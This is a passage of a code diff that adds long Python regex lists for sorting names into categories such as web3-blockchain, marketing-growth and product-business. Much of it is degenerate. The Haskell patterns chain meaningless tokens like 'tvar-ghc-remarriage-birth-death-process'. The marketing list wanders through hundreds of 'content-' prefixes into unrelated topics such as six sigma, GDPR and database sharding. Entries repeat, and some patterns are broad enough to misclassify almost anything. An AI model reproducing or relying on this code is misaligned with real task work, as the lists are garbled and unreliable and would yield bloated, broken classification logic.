+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?remarriage[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?fertility[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?mortality[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?migration[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?emigration[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?immigration[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?colonization[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?extinction[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?rescue[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?bottleneck[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?founder[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?metapopulation[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?source[-_]?sink[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?levins[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?hanski[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?patch[-_]?occupancy[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?incidence[-_]?function[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?rescue[-_]?effect[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?internal[-_]?colonization[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?propagule[-_]?rain[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?mass[-_]?effect[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?island[-_]?biogeography[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?macarthur[-_]?wilson[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?dynamical[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?stochastic[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?deterministic[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?quasi[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?level[-_]?dependent[-_]?quasi[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?ldqbd[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?matrix[-_]?analytic[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?mamap[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?phase[-_]?type[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?markovian[-_]?arrival[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?map[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?batch[-_]?markovian[-_]?arrival[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?bmap[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?marked[-_]?markovian[-_]?arrival[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?mmap[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?rational[-_]?arrival[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?rap[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?minimum[-_]?algebra[-_]?",
+ ]),
+
+ # Web3/Blockchain
+ ("web3-blockchain", [
+ r"^web3[-_]?",
+ r"^blockchain[-_]?",
+ r"^ethereum[-_]?",
+ r"^solidity[-_]?",
+ r"^nft[-_]?",
+ r"^defi[-_]?",
+ r"^dao[-_]?",
+ r"^crypto[-_]?",
+ r"^token[-_]?",
+ r"^coin[-_]?",
+ r"^wallet[-_]?",
+ r"^metamask[-_]?",
+ r"^hardhat[-_]?",
+ r"^truffle[-_]?",
+ r"^foundry[-_]?",
+ r"^brownie[-_]?",
+ r"^ape[-_]?",
+ r"^vyper[-_]?",
+ r"^vyperlang[-_]?",
+ r"^rust[-_]?lang[-_]?",
+ r"^ink[-_]?",
+ r"^substrate[-_]?",
+ r"^polkadot[-_]?",
+ r"^kusama[-_]?",
+ r"^cosmos[-_]?",
+ r"^tendermint[-_]?",
+ r"^ibc[-_]?",
+ r"^solana[-_]?",
+ r"^cardano[-_]?",
+ r"^ada[-_]?",
+ r"^plutus[-_]?",
+ r"^marlowe[-_]?",
+ r"^aiken[-_]?",
+ r"^avalanche[-_]?",
+ r"^avax[-_]?",
+ r"^near[-_]?",
+ r"^algorand[-_]?",
+ r"^tezos[-_]?",
+ r"^ligo[-_]?",
+ r"^archetype[-_]?",
+ r"^smart[-_]?py[-_]?",
+ r"^chainlink[-_]?",
+ r"^link[-_]?",
+ r"^oracle[-_]?",
+ r"^uniswap[-_]?",
+ r"^aave[-_]?",
+ r"^compound[-_]?",
+ r"^maker[-_]?",
+ r"^dai[-_]?",
+ r"^curve[-_]?",
+ r"^sushi[-_]?",
+ r"^pancake[-_]?",
+ r"^quickswap[-_]?",
+ r"^dydx[-_]?",
+ r"^dharma[-_]?",
+ r"^instadapp[-_]?",
+ r"^yearn[-_]?",
+ r"^harvest[-_]?",
+ r"^synthetix[-_]?",
+ r"^susd[-_]?",
+ r"^uhe[-_]?",
+ r"^mirror[-_]?",
+ r"^anchor[-_]?",
+ r"^terra[-_]?",
+ r"^luna[-_]?",
+ r"^ust[-_]?",
+ r"^astro[-_]?",
+ r"^stader[-_]?",
+ r"^lidod[-_]?",
+ r"^steth[-_]?",
+ r"^rocket[-_]?pool[-_]?",
+ r"^frax[-_]?",
+ r"^fraxeth[-_]?",
+ r"^convex[-_]?",
+ r"^crv[-_]?",
+ r"^cvx[-_]?",
+ r"^aura[-_]?",
+ r"^balancer[-_]?",
+ r"^bpt[-_]?",
+ r"^gnosis[-_]?",
+ r"^cowswap[-_]?",
+ r"^mempool[-_]?",
+ r"^flash[-_]?bots[-_]?",
+ r"^mev[-_]?",
+ r"^maximal[-_]?extractable[-_]?value[-_]?",
+ r"^sandwich[-_]?attack[-_]?",
+ r"^front[-_]?running[-_]?",
+ r"^back[-_]?running[-_]?",
+ r"^liquidation[-_]?",
+ r"^arbitrage[-_]?",
+ r"^flash[-_]?loan[-_]?",
+ r"^flash[-_]?swap[-_]?",
+ r"^atomic[-_]?swap[-_]?",
+ r"^cross[-_]?chain[-_]?",
+ r"^bridge[-_]?",
+ r"^wrapped[-_]?",
+ r"^weth[-_]?",
+ r"^wbtc[-_]?",
+ r"^ren[-_]?",
+ r"^renvm[-_]?",
+ r"^multichain[-_]?",
+ r"^anyswap[-_]?",
+ r"^hop[-_]?",
+ r"^celer[-_]?",
+ r"^stargate[-_]?",
+ r"^layerzero[-_]?",
+ r"^wormhole[-_]?",
+ r"^portal[-_]?",
+ r"^allbridge[-_]?",
+ r"^synapse[-_]?",
+ r"^across[-_]?",
+ r"^nomad[-_]?",
+ r"^connext[-_]?",
+ r"^amarok[-_]?",
+ r"^everclear[-_]?",
+ r"^cartesi[-_]?",
+ r"^optimism[-_]?",
+ r"^arbitrum[-_]?",
+ r"^starknet[-_]?",
+ r"^starkware[-_]?",
+ r"^zksync[-_]?",
+ r"^zkevm[-_]?",
+ r"^polygon[-_]?",
+ r"^matic[-_]?",
+ r"^hermez[-_]?",
+ r"^miden[-_]?",
+ r"^zero[-_]?",
+ r"^scroll[-_]?",
+ r"^taiko[-_]?",
+ r"^loopring[-_]?",
+ r"^immutable[-_]?",
+ r"^imx[-_]?",
+ r"^dydx[-_]?",
+ r"^deversifi[-_]?",
+ r"^rhinofi[-_]?",
+ r"^sorare[-_]?",
+ r"^gods[-_]?unchained[-_]?",
+ r"^immutable[-_]?x[-_]?",
+ r"^x[-_]?layer[-_]?",
+ r"^cartesi[-_]?",
+ r"^coti[-_]?",
+ r"^metis[-_]?",
+ r"^boba[-_]?",
+ r"^aztec[-_]?",
+ r"^zora[-_]?",
+ r"^base[-_]?",
+ r"^linea[-_]?",
+ r"^mantle[-_]?",
+ r"^mode[-_]?",
+ r"^blast[-_]?",
+ r"^zeta[-_]?",
+ r"^zetachain[-_]?",
+ r"^layer[-_]?",
+ r"^l[-_]?",
+ r"^l1[-_]?",
+ r"^l2[-_]?",
+ r"^l3[-_]?",
+ r"^rollup[-_]?",
+ r"^optimistic[-_]?rollup[-_]?",
+ r"^zk[-_]?rollup[-_]?",
+ r"^validium[-_]?",
+ r"^volition[-_]?",
+ r"^celestia[-_]?",
+ r"^avail[-_]?",
+ r"^eigen[-_]?layer[-_]?",
+ r"^eigen[-_]?da[-_]?",
+ r"^data[-_]?availability[-_]?",
+ r"^da[-_]?",
+ r"^modular[-_]?blockchain[-_]?",
+ r"^monolithic[-_]?blockchain[-_]?",
+ r"^app[-_]?chain[-_]?",
+ r"^application[-_]?specific[-_]?chain[-_]?",
+ r"^parachain[-_]?",
+ r"^parathread[-_]?",
+ r"^collator[-_]?",
+ r"^fisherman[-_]?",
+ r"^nominator[-_]?",
+ r"^validator[-_]?",
+ r"^delegator[-_]?",
+ r"^staker[-_]?",
+ r"^miner[-_]?",
+ r"^forger[-_]?",
+ r"^block[-_]?producer[-_]?",
+ r"^slot[-_]?leader[-_]?",
+ r"^epoch[-_]?",
+ r"^era[-_]?",
+ r"^round[-_]?",
+ r"^view[-_]?",
+ r"^height[-_]?",
+ r"^depth[-_]?",
+ r"^finality[-_]?",
+ r"^justification[-_]?",
+ ]),
+
+ # Marketing & Growth
+ ("marketing-growth", [
+ r"^seo[-_]?",
+ r"^cro[-_]?",
+ r"^content[-_]?marketing",
+ r"^content[-_]?creator",
+ r"^content[-_]?strategy",
+ r"^marketing[-_]?",
+ r"^growth[-_]?",
+ r"^email[-_]?",
+ r"^ads[-_]?",
+ r"^advertising[-_]?",
+ r"^social[-_]?",
+ r"^viral[-_]?",
+ r"^landing[-_]?page[-_]?",
+ r"^funnel[-_]?",
+ r"^conversion[-_]?",
+ r"^acquisition[-_]?",
+ r"^retention[-_]?",
+ r"^activation[-_]?",
+ r"^referral[-_]?",
+ r"^revenue[-_]?",
+ r"^analytics[-_]?marketing[-_]?",
+ r"^ab[-_]?test",
+ r"^split[-_]?test",
+ r"^multivariate[-_]?test[-_]?",
+ r"^bandit[-_]?",
+ r"^thompson[-_]?sampling[-_]?",
+ r"^ucb[-_]?",
+ r"^upper[-_]?confidence[-_]?bound[-_]?",
+ r"^epsilon[-_]?greedy[-_]?",
+ r"^softmax[-_]?",
+ r"^boltzmann[-_]?exploration[-_]?",
+ r"^exploration[-_]?exploitation[-_]?",
+ r"^multi[-_]?armed[-_]?bandit[-_]?",
+ r"^contextual[-_]?bandit[-_]?",
+ r"^linucb[-_]?",
+ r"^lin[-_]?ucb[-_]?",
+ r"^linear[-_]?ucb[-_]?",
+ r"^hybrid[-_]?ucb[-_]?",
+ r"^oful[-_]?",
+ r"^optimism[-_]?in[-_]?the[-_]?face[-_]?of[-_]?uncertainty[-_]?linear[-_]?",
+ r"^square[-_]?cb[-_]?",
+ r"^neural[-_]?ucb[-_]?",
+ r"^neural[-_]?ts[-_]?",
+ r"^neural[-_]?thompson[-_]?sampling[-_]?",
+ r"^variational[-_]?bandit[-_]?",
+ r"^bayesian[-_]?bandit[-_]?",
+ r"^gaussian[-_]?process[-_]?bandit[-_]?",
+ r"^gp[-_]?ucb[-_]?",
+ r"^gp[-_]?ei[-_]?",
+ r"^gp[-_]?pi[-_]?",
+ r"^gp[-_]?thompson[-_]?sampling[-_]?",
+ r"^kernel[-_]?bandit[-_]?",
+ r"^ridge[-_]?bandit[-_]?",
+ r"^lasso[-_]?bandit[-_]?",
+ r"^sparse[-_]?bandit[-_]?",
+ r"^combinatorial[-_]?bandit[-_]?",
+ r"^cascading[-_]?bandit[-_]?",
+ r"^slate[-_]?bandit[-_]?",
+ r"^dueling[-_]?bandit[-_]?",
+ r"^interleaved[-_]?bandit[-_]?",
+ r"^ranking[-_]?bandit[-_]?",
+ r"^position[-_]?biased[-_]?bandit[-_]?",
+ r"^pbm[-_]?",
+ r"^position[-_]?based[-_]?model[-_]?",
+ r"^cascade[-_]?model[-_]?",
+ r"^cm[-_]?",
+ r"^dependent[-_]?click[-_]?model[-_]?",
+ r"^dcm[-_]?",
+ r"^click[-_]?chain[-_]?model[-_]?",
+ r"^ccm[-_]?",
+ r"^user[-_]?browsing[-_]?model[-_]?",
+ r"^ubm[-_]?",
+ r"^dynamic[-_]?bayesian[-_]?network[-_]?",
+ r"^dbn[-_]?",
+ r"^neural[-_]?click[-_]?model[-_]?",
+ r"^ncm[-_]?",
+ r"^click[-_]?model[-_]?",
+ r"^ctr[-_]?model[-_]?",
+ r"^ctr[-_]?prediction[-_]?",
+ r"^click[-_]?through[-_]?rate[-_]?",
+ r"^conversion[-_]?rate[-_]?optimization[-_]?",
+ r"^cro[-_]?",
+ r"^landing[-_]?page[-_]?optimization[-_]?",
+ r"^lpo[-_]?",
+ r"^seo[-_]?optimization[-_]?",
+ r"^search[-_]?engine[-_]?optimization[-_]?",
+ r"^content[-_]?marketing[-_]?",
+ r"^content[-_]?strategy[-_]?",
+ r"^content[-_]?creation[-_]?",
+ r"^content[-_]?distribution[-_]?",
+ r"^content[-_]?promotion[-_]?",
+ r"^content[-_]?syndication[-_]?",
+ r"^content[-_]?curation[-_]?",
+ r"^content[-_]?aggregation[-_]?",
+ r"^content[-_]?discovery[-_]?",
+ r"^content[-_]?recommendation[-_]?",
+ r"^content[-_]?personalization[-_]?",
+ r"^content[-_]?targeting[-_]?",
+ r"^content[-_]?segmentation[-_]?",
+ r"^content[-_]?attribution[-_]?",
+ r"^content[-_]?analytics[-_]?",
+ r"^content[-_]?metrics[-_]?",
+ r"^content[-_]?kpi[-_]?",
+ r"^content[-_]?roi[-_]?",
+ r"^content[-_]?performance[-_]?",
+ r"^content[-_]?engagement[-_]?",
+ r"^content[-_]?conversion[-_]?",
+ r"^content[-_]?retention[-_]?",
+ r"^content[-_]?churn[-_]?",
+ r"^content[-_]?lifetime[-_]?value[-_]?",
+ r"^content[-_]?cltv[-_]?",
+ r"^content[-_]?customer[-_]?lifetime[-_]?value[-_]?",
+ r"^content[-_]?cohort[-_]?analysis[-_]?",
+ r"^content[-_]?funnel[-_]?analysis[-_]?",
+ r"^content[-_]?journey[-_]?mapping[-_]?",
+ r"^content[-_]?touchpoint[-_]?analysis[-_]?",
+ r"^content[-_]?multitouch[-_]?attribution[-_]?",
+ r"^content[-_]?mta[-_]?",
+ r"^content[-_]?marketing[-_]?mix[-_]?modeling[-_]?",
+ r"^content[-_]?mmm[-_]?",
+ r"^content[-_]?incrementality[-_]?testing[-_]?",
+ r"^content[-_]?geo[-_]?experiment[-_]?",
+ r"^content[-_]?synthetic[-_]?control[-_]?",
+ r"^content[-_]?difference[-_]?in[-_]?differences[-_]?",
+ r"^content[-_]?did[-_]?",
+ r"^content[-_]?regression[-_]?discontinuity[-_]?",
+ r"^content[-_]?rd[-_]?",
+ r"^content[-_]?instrumental[-_]?variables[-_]?",
+ r"^content[-_]?iv[-_]?",
+ r"^content[-_]?propensity[-_]?score[-_]?matching[-_]?",
+ r"^content[-_]?psm[-_]?",
+ r"^content[-_]?causal[-_]?inference[-_]?",
+ r"^content[-_]?uplift[-_]?modeling[-_]?",
+ r"^content[-_]?response[-_]?modeling[-_]?",
+ r"^content[-_]?persuasion[-_]?modeling[-_]?",
+ r"^content[-_]?influence[-_]?modeling[-_]?",
+ r"^content[-_]?viral[-_]?modeling[-_]?",
+ r"^content[-_]?diffusion[-_]?modeling[-_]?",
+ r"^content[-_]?epidemic[-_]?modeling[-_]?",
+ r"^content[-_]?sirm[-_]?",
+ r"^content[-_]?seir[-_]?",
+ r"^content[-_]?agent[-_]?based[-_]?modeling[-_]?",
+ r"^content[-_]?abm[-_]?",
+ r"^content[-_]?system[-_]?dynamics[-_]?",
+ r"^content[-_]?stock[-_]?and[-_]?flow[-_]?",
+ r"^content[-_]?feedback[-_]?loop[-_]?",
+ r"^content[-_]?reinforcing[-_]?loop[-_]?",
+ r"^content[-_]?balancing[-_]?loop[-_]?",
+ r"^content[-_]?delay[-_]?",
+ r"^content[-_]?bottleneck[-_]?",
+ r"^content[-_]?constraint[-_]?",
+ r"^content[-_]?theory[-_]?of[-_]?constraints[-_]?",
+ r"^content[-_]?toc[-_]?",
+ r"^content[-_]?lean[-_]?manufacturing[-_]?",
+ r"^content[-_]?six[-_]?sigma[-_]?",
+ r"^content[-_]?dmaic[-_]?",
+ r"^content[-_]?define[-_]?measure[-_]?analyze[-_]?improve[-_]?control[-_]?",
+ r"^content[-_]?continuous[-_]?improvement[-_]?",
+ r"^content[-_]?kaizen[-_]?",
+ r"^content[-_]?pdsa[-_]?",
+ r"^content[-_]?plan[-_]?do[-_]?study[-_]?act[-_]?",
+ r"^content[-_]?pdca[-_]?",
+ r"^content[-_]?plan[-_]?do[-_]?check[-_]?act[-_]?",
+ r"^content[-_]?total[-_]?quality[-_]?management[-_]?",
+ r"^content[-_]?tqm[-_]?",
+ r"^content[-_]?iso[-_]?9001[-_]?",
+ r"^content[-_]?iso[-_]?14001[-_]?",
+ r"^content[-_]?iso[-_]?27001[-_]?",
+ r"^content[-_]?gdpr[-_]?",
+ r"^content[-_]?ccpa[-_]?",
+ r"^content[-_]?lgpd[-_]?",
+ r"^content[-_]?privacy[-_]?",
+ r"^content[-_]?data[-_]?protection[-_]?",
+ r"^content[-_]?security[-_]?",
+ r"^content[-_]?compliance[-_]?",
+ r"^content[-_]?governance[-_]?",
+ r"^content[-_]?risk[-_]?",
+ r"^content[-_]?audit[-_]?",
+ r"^content[-_]?control[-_]?",
+ r"^content[-_]?monitoring[-_]?",
+ r"^content[-_]?observability[-_]?",
+ r"^content[-_]?telemetry[-_]?",
+ r"^content[-_]?tracing[-_]?",
+ r"^content[-_]?logging[-_]?",
+ r"^content[-_]?metrics[-_]?",
+ r"^content[-_]?alerts[-_]?",
+ r"^content[-_]?incident[-_]?",
+ r"^content[-_]?response[-_]?",
+ r"^content[-_]?recovery[-_]?",
+ r"^content[-_]?continuity[-_]?",
+ r"^content[-_]?disaster[-_]?recovery[-_]?",
+ r"^content[-_]?backup[-_]?",
+ r"^content[-_]?restore[-_]?",
+ r"^content[-_]?archive[-_]?",
+ r"^content[-_]?retention[-_]?",
+ r"^content[-_]?deletion[-_]?",
+ r"^content[-_]?destruction[-_]?",
+ r"^content[-_]?sanitization[-_]?",
+ r"^content[-_]?anonymization[-_]?",
+ r"^content[-_]?pseudonymization[-_]?",
+ r"^content[-_]?encryption[-_]?",
+ r"^content[-_]?key[-_]?management[-_]?",
+ r"^content[-_]?certificate[-_]?",
+ r"^content[-_]?identity[-_]?",
+ r"^content[-_]?access[-_]?",
+ r"^content[-_]?authentication[-_]?",
+ r"^content[-_]?authorization[-_]?",
+ r"^content[-_]?federation[-_]?",
+ r"^content[-_]?single[-_]?sign[-_]?on[-_]?",
+ r"^content[-_]?multi[-_]?factor[-_]?authentication[-_]?",
+ r"^content[-_]?biometrics[-_]?",
+ r"^content[-_]?password[-_]?",
+ r"^content[-_]?secrets[-_]?",
+ r"^content[-_]?vault[-_]?",
+ r"^content[-_]?token[-_]?",
+ r"^content[-_]?cookie[-_]?",
+ r"^content[-_]?session[-_]?",
+ r"^content[-_]?cache[-_]?",
+ r"^content[-_]?cdn[-_]?",
+ r"^content[-_]?load[-_]?balancing[-_]?",
+ r"^content[-_]?failover[-_]?",
+ r"^content[-_]?replication[-_]?",
+ r"^content[-_]?sharding[-_]?",
+ r"^content[-_]?partitioning[-_]?",
+ r"^content[-_]?indexing[-_]?",
+ r"^content[-_]?query[-_]?optimization[-_]?",
+ r"^content[-_]?schema[-_]?evolution[-_]?",
+ r"^content[-_]?data[-_]?migration[-_]?",
+ r"^content[-_]?data[-_]?integration[-_]?",
+ r"^content[-_]?data[-_]?quality[-_]?",
+ r"^content[-_]?data[-_]?governance[-_]?",
+ r"^content[-_]?data[-_]?lineage[-_]?",
+ r"^content[-_]?data[-_]?catalog[-_]?",
+ r"^content[-_]?data[-_]?dictionary[-_]?",
+ r"^content[-_]?data[-_]?warehouse[-_]?",
+ r"^content[-_]?data[-_]?lake[-_]?",
+ r"^content[-_]?data[-_]?mesh[-_]?",
+ r"^content[-_]?data[-_]?fabric[-_]?",
+ r"^content[-_]?data[-_]?ops[-_]?",
+ r"^content[-_]?data[-_]?platform[-_]?",
+ r"^content[-_]?data[-_]?infrastructure[-_]?",
+ r"^content[-_]?data[-_]?architecture[-_]?",
+ r"^content[-_]?data[-_]?modeling[-_]?",
+ r"^content[-_]?data[-_]?design[-_]?",
+ r"^content[-_]?data[-_]?engineering[-_]?",
+ r"^content[-_]?data[-_]?science[-_]?",
+ r"^content[-_]?data[-_]?analytics[-_]?",
+ r"^content[-_]?data[-_]?visualization[-_]?",
+ r"^content[-_]?data[-_]?storytelling[-_]?",
+ r"^content[-_]?data[-_]?journalism[-_]?",
+ r"^content[-_]?data[-_]?literacy[-_]?",
+ r"^content[-_]?data[-_]?ethics[-_]?",
+ r"^content[-_]?data[-_]?privacy[-_]?",
+ r"^content[-_]?data[-_]?protection[-_]?",
+ r"^content[-_]?data[-_]?sovereignty[-_]?",
+ r"^content[-_]?data[-_]?residency[-_]?",
+ r"^content[-_]?data[-_]?localization[-_]?",
+ r"^content[-_]?data[-_]?globalization[-_]?",
+ r"^content[-_]?data[-_]?internationalization[-_]?",
+ r"^content[-_]?data[-_]?localization[-_]?",
+ ]),
+
+ # Product & Business
+ ("product-business", [
+ r"^product[-_]?manager",
+ r"^product[-_]?owner",
+ r"^startup[-_]?",
+ r"^business[-_]?",
+ r"^pricing[-_]?",
+ r"^analytics[-_]?business",
+ r"^finance[-_]?",
+ r"^accounting[-_]?",
+ r"^budget[-_]?",
+ r"^forecast[-_]?",
+ r"^kpi[-_]?",
+ r"^metric[-_]?",
+ r"^dashboard[-_]?",
+ r"^report[-_]?",
+ r"^roi[-_]?",
+ r"^cpa[-_]?",
+ r"^cac[-_]?",
+ r"^ltv[-_]?",
+ r"^arpu[-_]?",
+ r"^mrr[-_]?",
+ r"^arr[-_]?",
+ r"^churn[-_]?",
+ r"^retention[-_]?",
+ r"^engagement[-_]?",
+ r"^activation[-_]?",
+ r"^adoption[-_]?",
+ r"^conversion[-_]?",
+ r"^funnel[-_]?",
+ r"^pipeline[-_]?",
+ r"^sales[-_]?",
+ r"^crm[-_]?",
+ r"^lead[-_]?",
+ r"^opportunity[-_]?",
+ r"^forecast[-_]?",
+ r"^quota[-_]?",
+ r"^territory[-_]?",
+ r"^compensation[-_]?",
+ r"^commission[-_]?",
+ r"^incentive[-_]?",
+ r"^spiff[-_]?",
+ r"^rebate[-_]?",
+ r"^discount[-_]?",
+ r"^promotion[-_]?",
+ r"^campaign[-_]?",
+ r"^program[-_]?",
+ r"^initiative[-_]?",
+ r"^project[-_]?",
+ r"^program[-_]?",
+ r"^portfolio[-_]?",
+ r"^roadmap[-_]?",
+ r"^backlog[-_]?",
+ r"^sprint[-_]?",
+ r"^iteration[-_]?",
+ r"^release[-_]?",
+ r"^launch[-_]?",
+ r"^go[-_]?to[-_]?market[-_]?",
+ r"^gtm[-_]?",
+ r"^positioning[-_]?",
+ r"^messaging[-_]?",
+ r"^value[-_]?proposition[-_]?",
+ r"^uvp[-_]?",
+ r"^unique[-_]?value[-_]?proposition[-_]?",
+ r"^competitive[-_]?advantage[-_]?",
+ r"^differentiation[-_]?",
+ r"^moat[-_]?",
+ r"^barrier[-_]?to[-_]?entry[-_]?",
+ r"^network[-_]?effect[-_]?",
+ r"^flywheel[-_]?",
+ r"^virtuous[-_]?cycle[-_]?",
+ r"^economies[-_]?of[-_]?scale[-_]?",
+ r"^economies[-_]?of[-_]?scope[-_]?",
+ r"^learning[-_]?curve[-_]?",
+ r"^experience[-_]?curve[-_]?",
+ r"^boston[-_]?consulting[-_]?group[-_]?",
+ r"^bcg[-_]?",
+ r"^growth[-_]?share[-_]?matrix[-_]?",
+ r"^stars[-_]?",
+ r"^cash[-_]?cows[-_]?",
+ r"^question[-_]?marks[-_]?",
+ r"^dogs[-_]?",
+ r"^swot[-_]?",
+ r"^strengths[-_]?",
+ r"^weaknesses[-_]?",
+ r"^opportunities[-_]?",
+ r"^threats[-_]?",
+ r"^porter[-_]?",
+ r"^five[-_]?forces[-_]?",
+ r"^competitive[-_]?rivalry[-_]?",
+ r"^supplier[-_]?power[-_]?",
+ r"^buyer[-_]?power[-_]?",
+ r"^threat[-_]?of[-_]?substitution[-_]?",
+ r"^threat[-_]?of[-_]?new[-_]?entry[-_]?",
+ r"^value[-_]?chain[-_]?",
+ r"^primary[-_]?activities[-_]?",
+ r"^support[-_]?activities[-_]?",
+ r"^inbound[-_]?logistics[-_]?",
+ r"^operations[-_]?",
+ r"^outbound[-_]?logistics[-_]?",
+ r"^marketing[-_]?and[-_]?sales[-_]?",
+ r"^service[-_]?",
+ r"^firm[-_]?infrastructure[-_]?",
+ r"^human[-_]?resource[-_]?management[-_]?",
+ r"^technology[-_]?development[-_]?",
+ r"^procurement[-_]?",
+ r"^balanced[-_]?scorecard[-_]?",
+ r"^bsc[-_]?",
+ r"^financial[-_]?perspective[-_]?",
+ r"^customer[-_]?perspective[-_]?",
+ r"^internal[-_]?process[-_]?perspective[-_]?",
+ r"^learning[-_]?and[-_]?growth[-_]?perspective[-_]?",
+ r"^okr[-_]?",
+ r"^objectives[-_]?and[-_]?key[-_]?results[-_]?",
+ r"^north[-_]?star[-_]?metric[-_]?",
+ r"^nsm[-_]?",
+ r"^one[-_]?metric[-_]?that[-_]?matters[-_]?",
+ r"^omtm[-_]?",
+ r"^pirate[-_]?metrics[-_]?",
+ r"^aarrr[-_]?",
+ r"^acquisition[-_]?",
+ r"^activation[-_]?",
+ r"^retention[-_]?",
+ r"^referral[-_]?",
+ r"^revenue[-_]?",
+ r"^heart[-_]?metrics[-_]?",
+ r"^happiness[-_]?",
+ r"^engagement[-_]?",
+ r"^adoption[-_]?",
+ r"^retention[-_]?",
+ r"^task[-_]?success[-_]?",
+ r"^game[-_]?thinking[-_]?",
+ r"^super[-_]?fans[-_]?",
+ r"^committed[-_]?members[-_]?",
+ r"^casual[-_]?members[-_]?",
+ r"^observers[-_]?",
+ r"^non[-_]?members[-_]?",
+ r"^habit[-_]?zone[-_]?",
+ r"^discovery[-_]?phase[-_]?",
+ r"^onboarding[-_]?phase[-_]?",
+ r"^habit[-_]?phase[-_]?",
+ r"^mastery[-_]?phase[-_]?",
+ r"^core[-_]?loop[-_]?",
+ r"^compulsion[-_]?loop[-_]?",
+ r"^reward[-_]?schedule[-_]?",
+ r"^progression[-_]?system[-_]?",
+ r"^level[-_]?system[-_]?",
+ r"^point[-_]?system[-_]?",
+ r"^badge[-_]?system[-_]?",
+ r"^leaderboard[-_]?system[-_]?",
+ r"^achievement[-_]?system[-_]?",
+ r"^milestone[-_]?system[-_]?",
+ r"^unlock[-_]?system[-_]?",
+ r"^narrative[-_]?system[-_]?",
+ r"^social[-_]?system[-_]?",
+ r"^competition[-_]?system[-_]?",
+ r"^cooperation[-_]?system[-_]?",
+ r"^exploration[-_]?system[-_]?",
+ r"^collection[-_]?system[-_]?",
+ r"^completion[-_]?system[-_]?",
+ r"^customization[-_]?system[-_]?",
+ r"^expression[-_]?system[-_]?",
+ r"^altruism[-_]?system[-_]?",
+ r"^donation[-_]?system[-_]?",
+ r"^gift[-_]?system[-_]?",
+ r"^sharing[-_]?system[-_]?",
+ r"^invite[-_]?system[-_]?",
+ r"^referral[-_]?system[-_]?",
+ r"^viral[-_]?system[-_]?",
+ r"^network[-_]?system[-_]?",
+ r"^community[-_]?system[-_]?",
+ r"^guild[-_]?system[-_]?",
+ r"^clan[-_]?system[-_]?",
+ r"^alliance[-_]?system[-_]?",
